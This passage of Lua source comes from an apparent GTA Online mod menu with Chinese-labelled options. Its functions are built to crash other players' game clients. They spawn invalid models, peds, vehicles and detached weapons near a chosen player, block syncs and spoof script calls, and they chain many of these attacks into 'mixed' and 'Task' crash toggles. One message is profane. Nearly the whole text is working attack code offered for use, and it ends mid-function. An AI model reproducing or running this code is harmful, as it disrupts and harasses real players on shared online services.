GTAC(nmcrashes, "大自然崩溃V9", {"Naturecrashv9"}, "(A1:E8958704)", function()
    local user = PLAYER.GET_PLAYER_PED(players.user())
    local model = util.joaat("h4_yacht_refproxy001")
    local pos = players.get_position(PlayerID)
    local oldPos = players.get_position(players.user())
    BlockSyncs(PlayerID, function()
        wait(100)
        ENTITY.SET_ENTITY_VISIBLE(user, false)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
        PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
        PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
        wait(500)
        PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
        wait(2500)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
        for i = 1, 5 do
            util.spoof_script("freemode", SYSTEM.WAIT)
        end
        ENTITY.SET_ENTITY_HEALTH(user, 0)
        NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
        ENTITY.SET_ENTITY_VISIBLE(user, true)
    end)
end)

GTAC(nmcrashes, "大自然崩溃V10", {"Naturecrashv10"}, "(A1:1A7AEACE)", function()
    local user = PLAYER.GET_PLAYER_PED(players.user())
    local model = util.joaat("h4_yacht_refproxy002")
    local pos = players.get_position(PlayerID)
    local oldPos = players.get_position(players.user())
    BlockSyncs(PlayerID, function()
        wait(100)
        ENTITY.SET_ENTITY_VISIBLE(user, false)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
        PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
        PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
        wait(500)
        PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
        wait(2500)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
        for i = 1, 5 do
            util.spoof_script("freemode", SYSTEM.WAIT)
        end
        ENTITY.SET_ENTITY_HEALTH(user, 0)
        NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
        ENTITY.SET_ENTITY_VISIBLE(user, true)
    end)
end)

GTAC(nmcrashes, "大自然崩溃V11", {"Naturecrashv11"}, "(A1:408D3AA0)", function()
    local user = PLAYER.GET_PLAYER_PED(players.user())
    local model = util.joaat("h4_mp_apa_yacht")
    local pos = players.get_position(PlayerID)
    local oldPos = players.get_position(players.user())
    BlockSyncs(PlayerID, function()
        wait(100)
        ENTITY.SET_ENTITY_VISIBLE(user, false)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
        PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
        PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
        wait(500)
        PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
        wait(2500)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
        for i = 1, 5 do
            util.spoof_script("freemode", SYSTEM.WAIT)
        end
        ENTITY.SET_ENTITY_HEALTH(user, 0)
        NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
        ENTITY.SET_ENTITY_VISIBLE(user, true)
    end)
end)

GTAC(nmcrashes, "大自然崩溃V12", {"Naturecrashv12"}, "(A1:B36122B5)", function()
    local user = PLAYER.GET_PLAYER_PED(players.user())
    local model = util.joaat("h4_mp_apa_yacht_win")
    local pos = players.get_position(PlayerID)
    local oldPos = players.get_position(players.user())
    BlockSyncs(PlayerID, function()
        wait(100)
        ENTITY.SET_ENTITY_VISIBLE(user, false)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
        PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
        PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
        wait(500)
        PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
        wait(2500)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
        for i = 1, 5 do
            util.spoof_script("freemode", SYSTEM.WAIT)
        end
        ENTITY.SET_ENTITY_HEALTH(user, 0)
        NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
        ENTITY.SET_ENTITY_VISIBLE(user, true)
    end)
end)

 local invalidmodel = GT(PlayerMainMenu, "无效模型崩溃", {}, "")
        GTTG(invalidmodel, "无效模型崩溃V1", {""}, "", function()
            wxcrash(PlayerID)
        end)

    GTLP(invalidmodel, "无效模型崩溃v2", {""}, "", function ()
        BadOutfitCrash(PlayerID)
    end)

	GTAC(invalidmodel, "无效模型崩溃v3", {}, "崩绿玩儿", function()
	    util.toast("操你妈，绿玩都不放过")
		local TPP = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
		local pos = ENTITY.GET_ENTITY_COORDS(TPP, true)
		for i = 0 , 30 do 
			invalidpeda1 = CreatePed(26, util.joaat("player_two"), pos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed))
			ENTITY.SET_ENTITY_INVINCIBLE(invalidpeda, true)
			wait(1)
		end
		wait(1)
		for i = 0 , 30 do 
			invalidpeda2 = CreatePed(26, util.joaat("ig_kaylee"), pos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed))
			ENTITY.SET_ENTITY_INVINCIBLE(invalidpeda, true)
			wait(1)
		end
		wait(1)
		for i = 0 , 50 do 
			invalidpeda3 = CreatePed(26, util.joaat("a_c_rat"), pos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed))
			ENTITY.SET_ENTITY_INVINCIBLE(invalidpeda, true)
			wait(1)
		end
		wait(5000)
		wait(300)
		notification("崩溃完成，等待删除PED",colors.pink)
		wait(300)
		local count = 0
			for k,ent in pairs(entities.get_all_peds_as_handles()) do
				if not PED.IS_PED_A_PLAYER(ent) then
					ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
					entities.delete_by_handle(ent)
					wait()
					count = count + 1
				end
			end
		notification("滚吧",colors.pink)
		wait(300)
	end)

	GTAC(invalidmodel, "无效模型崩溃V4", {}, "", function()
    STREAMING.REQUEST_MODEL(1888301071)
    local c = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local cone = OBJECT.CREATE_OBJECT_NO_OFFSET(1888301071, c.x +3, c.y, c.z, true)
	if players.exists(PlayerID) then
		STREAMING.REQUEST_MODEL(0xB5CF80E4)
		while not STREAMING.HAS_MODEL_LOADED(a_c_rat) do
    		wait(0)
		end
		for i = 1, 12 do
			util.create_thread(function()
				local ped_1 = entities.create_ped(0, 0xB5CF80E4, ENTITY.GET_ENTITY_COORDS(PlayerID), ENTITY.GET_ENTITY_HEADING(players.user_ped(PlayerID)), true, false)
				wait(400)
				entities.delete_by_handle(ped_1)
			end, nil)
		end
		wait(100)
		local ped_2 = entities.create_ped(0, 0x3F039CBA, ENTITY.GET_ENTITY_COORDS(PlayerID), ENTITY.GET_ENTITY_HEADING(players.user_ped(PlayerID)), true, false)
		local ped_3 = entities.create_ped(0, 0x856CFB02, ENTITY.GET_ENTITY_COORDS(PlayerID), ENTITY.GET_ENTITY_HEADING(players.user_ped(PlayerID)), true, false)
		local ped_4 = entities.create_ped(0, 0x2D7030F3, ENTITY.GET_ENTITY_COORDS(PlayerID), ENTITY.GET_ENTITY_HEADING(players.user_ped(PlayerID)), true, false)
		wait(800)
		entities.delete_by_handle(ped_2)
		entities.delete_by_handle(ped_3)
		entities.delete_by_handle(ped_4)
		if players.exists(PlayerID) then
		end
		util.toast("无效NPC崩溃完成",5,61000)
	else
		util.toast("未知玩家坐标",5,0)
	end
end)

    GTAC(invalidmodel, "无效模型崩溃V5", {""}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
		local pos = players.get_position(PlayerID)
		local mdl = util.joaat("u_m_m_jesus_01")
		local veh_mdl = util.joaat("oppressor")
		util.request_model(veh_mdl)
        util.request_model(mdl)
			for i = 1, 10 do
				if not players.exists(PlayerID) then
					return
				end
				local veh = entities.create_vehicle(veh_mdl, pos, 0)
				local jesus = entities.create_ped(2, mdl, pos, 0)
				PED.SET_PED_INTO_VEHICLE(jesus, veh, -1)
				wait(100)
				TASK.TASK_VEHICLE_HELI_PROTECT(jesus, veh, ped, 10.0, 0, 10, 0, 0)
				wait(1000)
				entities.delete_by_handle(jesus)
				entities.delete_by_handle(veh)
			end
		STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(mdl)
		STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(veh_mdl)
    end)

        local Chernobog = GT(PlayerMainMenu, "导弹车崩溃", {}, "")
        GTLuaScript.click_slider(Chernobog,"导弹车崩溃", {"Chernobog Crash"}, "1 = V1, 2 = V2", 1, 2, 1, 1, function(on_change)
            if on_change == 1 then	
                daodanchev1(PlayerID) 
            end
            if on_change == 2 then	
                daodanchev2(PlayerID)
            end
    end)

    local mix_crash = GT(PlayerMainMenu, "混合崩溃")

    nicecrash_v1 = false
    GTTG(mix_crash, "奥特曼崩v1", {}, "", function(on)
        nicecrash_v1 = on
    end)

    nicecrash_v2 = false
    GTTG(mix_crash, "奥特曼崩v2", {}, "", function(on)
        nicecrash_v2 = on
    end)

    nicecrash_v3 = false
    GTTG(mix_crash, "奥特曼崩v3", {}, "", function(on)
        nicecrash_v3 = on
    end)

   GTTG(mix_crash, "混合载具崩溃", {"hunhezaiju"}, "", function(train_loop)
        local stupid_pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) stupid_pos.x = stupid_pos.x - 2
        util.create_thread(function ()
            local mod_vel = {-692292317,-1323100960,4244420235,444583674,184361638,642617954,586013744,920453016,3186376089,1030400667,240201337,
            1492612435, 3517794615, 3889340782, 3253274834,970385471, 2336777441, 184361638, 1030400667, 920453016, 240201337, 642617954, 
            586013744, 868868440, 1550581940, 3334677549, 3186376089,0xc5dd6967,0x58f77553,0x1446590a}
                for _spawn, value in pairs(mod_vel) do
                    local s = {}
                    for i = 1, 10, 1 do  
                        s[_spawn] = CreateVehicle(value,stupid_pos,0)
                        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(Entity, true, false)
                        wait(0)
                        end
                    end
                    wait(0)
                    local ar_vs = entities.get_all_vehicles_as_handles()
                    for key, value in pairs(ar_vs) do
                    entities.delete_by_handle(value)
                end
            end,nil)
        end)

    inshell_v1 = false
    GTTG(mix_crash, "因莎拉崩溃", {}, "", function(on)
        inshell_v1 = on
    end)

    proluna_v1 = false
    GTTG(mix_crash, "露娜崩溃", {}, "", function(on)
        proluna_v1 = on
    end)

    grief_v1 = false
    GTTG(mix_crash, "悲伤的耶稣崩溃", {}, "", function(on)
        grief_v1 = on
    end)

    nature_v1 = false
    GTTG(mix_crash, "大自然崩溃v1", {}, "", function(on)
        nature_v1 = on
    end)

    nature_v2 = false
    GTTG(mix_crash, "大自然崩溃v2", {}, "", function(on)
        nature_v2 = on
    end)

    sweetcrash_v1 = false
    GTTG(mix_crash, "泡泡糖崩溃", {}, "", function(on)
        sweetcrash_v1 = on
    end)

    cps_v1 = false
    GTTG(mix_crash, "绿玩保护崩溃", {}, "", function(on)
        cps_v1 = on
    end)


    lestercrestcrash_v1 = false
    GTTG(mix_crash, "莱纳斯崩溃", {}, "", function(on)
        lestercrestcrash_v1 = on
    end)

    planecrash_v1 = false
    GTTG(mix_crash, "美杜莎崩溃", {}, "", function(on)
        planecrash_v1 = on
    end)

    wenyi_v1 = false
    GTTG(mix_crash, "马桶崩溃", {}, "", function(on)
        wenyi_v1 = on
    end)

    wade_v1 = false
    GTTG(mix_crash, "韦德崩崩溃", {}, "", function(on)
        wade_v1 = on
    end)

    OXCrash_v1 = false
    GTTG(mix_crash, "OX崩", {}, "", function(on)
        OXCrash_v1 = on
    end)

    soundcrash_v1 = false
    GTTG(mix_crash, "声音崩v1", {}, "", function(on)
        soundcrash_v1 = on
    end)

    soundcrash_v2 = false
    GTTG(mix_crash, "声音崩v2", {}, "", function(on)
        soundcrash_v2 = on
    end)

    invalidmodelcrash_v1 = false
    GTTG(mix_crash, "无效模型崩溃", {}, "", function(on)
        invalidmodelcrash_v1 = on
    end)

    xxx5gcrash_v1 = false
    GTTG(mix_crash, "5g崩溃", {}, "", function(on)
        xxx5gcrash_v1 = on
    end)

    dick_v1 = false
    GTTG(mix_crash, "大JB崩", {}, "", function(on)
        dick_v1 = on
    end)

    ChernobogCrash_v1 = false
    GTTG(mix_crash, "导弹车崩溃v1", {}, "", function(on)
        ChernobogCrash_v1 = on
    end)

    ChernobogCrash_v2 = false
    GTTG(mix_crash, "导弹车崩溃v2", {}, "", function(on)
        ChernobogCrash_v2 = on
    end)

    huntercrash_v1 = false
    GTTG(mix_crash, "猎杀者", {}, "", function(on)
        huntercrash_v1 = on
    end)

    scriptevent_v1 = false
    GTTG(mix_crash, "脚本事件崩溃", {}, "", function(on)
        scriptevent_v1 = on
    end)

    invalidclothes_v1 = false
    GTTG(mix_crash, "无效外观V1", {}, "", function(on)
        invalidclothes_v1 = on
    end)

    invalidclothes_v2 = false
    GTTG(mix_crash, "无效外观V2", {}, "", function(on)
        invalidclothes_v2 = on
    end)

    dh_v1 = false
    GTTG(mix_crash, "单崩黄昏", {}, "", function(on)
        dh_v1 = on
    end)

    tuoche_v1 = false
    GTTG(mix_crash, "拖车崩", {}, "", function(on)
        tuoche_v1 = on
    end)

    GTAC(mix_crash, "混合崩溃", {}, "", function()
        mixx_crash(PlayerID)
    end)

local yycrashs = GT(PlayerMainMenu, "优雅崩溃", {}, "")
    GTAC(yycrashs, "优雅崩溃V1", {"yycrashV0"}, "针对xp用户", function()

        GTLuaScript.trigger_commands("crash " .. players.get_name(PlayerID))

        GTLuaScript.trigger_commands("smash " .. players.get_name(PlayerID))

    end)

    GTAC(yycrashs,  "优雅崩溃V2", {"yycrashV1"}, "针对xp用户", function()
        local cord = players.get_position(PlayerID)
        local a1 = entities.create_object(-930879665, cord)
        local a2 = entities.create_object(3613262246, cord)
        local b1 = entities.create_object(452618762, cord)
        local b2 = entities.create_object(3613262246, cord)
        for i = 1, 10 do
            util.request_model(-930879665)
            wait(10)
            util.request_model(3613262246)
            wait(10)
            util.request_model(452618762)
            wait(300)
            entities.delete_by_handle(a1)
            entities.delete_by_handle(a2)
            entities.delete_by_handle(b1)
            entities.delete_by_handle(b2)
            util.request_model(452618762)
            wait(10)
            util.request_model(3613262246)
            wait(10)
            util.request_model(-930879665)
            wait(10)
        end
        util.toast("完成.")
    end)

        GTTG(yycrashs, "仿制的优雅崩溃V3", {"yycrashV2"}, "针对xp用户", function(on_toggle)
            notification("崩溃V4 " .. PLAYER.GET_PLAYER_NAME(PlayerID))
        if on_toggle then
                menu.trigger_commands("yycrashV0" .. players.get_name(PlayerID))
                menu.trigger_commands("yycrashV1" .. players.get_name(PlayerID))
        else
                menu.trigger_commands("yycrashV0" .. players.get_name(PlayerID))
                menu.trigger_commands("yycrashV1" .. players.get_name(PlayerID))
                menu.trigger_commands("superc")
            end
        
        end)

        local oxtypecrashtoggle = GT(PlayerMainMenu, "Task崩溃", {}, "")
        
        GTTG(oxtypecrashtoggle, "开始崩溃", {"toggleoxallcrash"}, "", function(on_toggle)
            if on_toggle then
            menu.trigger_commands("anticrashcam on")
            menu.trigger_commands("togglecombat" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("beverlycrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("fabiencrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("manuelcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("taostranslatorcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("taostranslator2crash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("tenniscoachcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("wadecrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("shophighcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("franklincrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("lazlowcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("siemoncrash" .. players.get_name(PlayerID))
            wait(10)
        else
            menu.trigger_commands("togglecombat" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("beverlycrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("fabiencrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("manuelcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("taostranslatorcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("taostranslator2crash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("tenniscoachcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("wadecrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("shophighcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("franklincrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("lazlowcrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("siemoncrash" .. players.get_name(PlayerID))
            wait(10)
            menu.trigger_commands("superc")
            wait(10)
            menu.trigger_commands("superc")
            menu.trigger_commands("anticrashcam off")
            end
            end)

                    
        GTLP(oxtypecrashtoggle, "Crash", {"togglecombat"}, "", function(on_toggle)
            
        local mdl = util.joaat('A_F_M_ProlHost_01')
            if request_model(mdl, 2) then
                local pos = players.get_position(PlayerID)
                wait(1)
                local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 3, 0), 0) 
                local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
                WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_COMBATMG'), 9999, true, true)
                local obj
                repeat
                    obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
                until obj ~= 0 or wait()
                ENTITY.DETACH_ENTITY(obj, true, true) 
                wait(1)
                FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
                entities.delete_by_handle(ped1)
                wait(1)
        else
                util.toast("Failed to load model. :/")
        end
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"beverlycrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('cs_beverly')
            if request_model(mdl, 2) then
                local pos = players.get_position(PlayerID)
                wait(1)
                local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 1, 0, 0), 0)
                local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
                WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
                local obj
                repeat
                    obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
                until obj ~= 0 or wait()
                ENTITY.DETACH_ENTITY(obj, true, true) 
                wait(1)
                FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
                entities.delete_by_handle(ped1)
                wait(1)
        else
                util.toast("Failed to load model. :/")
        end
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"fabiencrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('cs_fabien')
            if request_model(mdl, 2) then
                local pos = players.get_position(PlayerID)
                wait(1)
                local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
                ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, 1), 0)
                local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
                WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
                local obj
                repeat
                    obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
                until obj ~= 0 or wait()
                ENTITY.DETACH_ENTITY(obj, true, true) 
                wait(1)
                FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
                entities.delete_by_handle(ped1)
                wait(1)
        else
                util.toast("Failed to load model. :/")
        end
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"manuelcrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('cs_manuel')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 3, 0, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        
        GTLP(oxtypecrashtoggle, "Crash", {"taostranslatorcrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('cs_taostranslator')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 3, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"taostranslator2crash"}, "", function(on_toggle)
        
        local mdl = util.joaat('cs_taostranslator2')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, 3), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"tenniscoachcrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('cs_tenniscoach')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), -1, 0, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"wadecrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('cs_wade')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, -1, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"shophighcrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('S_F_M_Shop_HIGH')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, 0, -1), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"franklincrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('P_Franklin_02')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), -3, 0, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
            FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 0, 1.0, false, true, 0.0, true)
            entities.delete_by_handle(ped1)
            wait(1)
        else
            util.toast("Failed to load model. :/")
        end
        
        end)
        
        GTLP(oxtypecrashtoggle, "Crash", {"lazlowcrash"}, "", function(on_toggle)
        
        local mdl = util.joaat('CS_Lazlow')
        if request_model(mdl, 2) then
            local pos = players.get_position(PlayerID)
            wait(1)
            local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
            ped1 = entities.create_ped(26, mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(PlayerID), 0, -3, 0), 0)
            local coords = ENTITY.GET_ENTITY_COORDS(ped1, true)
            WEAPON.GIVE_WEAPON_TO_PED(ped1, util.joaat('WEAPON_HOMINGLAUNCHER'), 9999, true, true)
            local obj
            repeat
                obj = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(ped1, 0)
            until obj ~= 0 or wait()
            ENTITY.DETACH_ENTITY(obj, true, true) 
            wait(1)
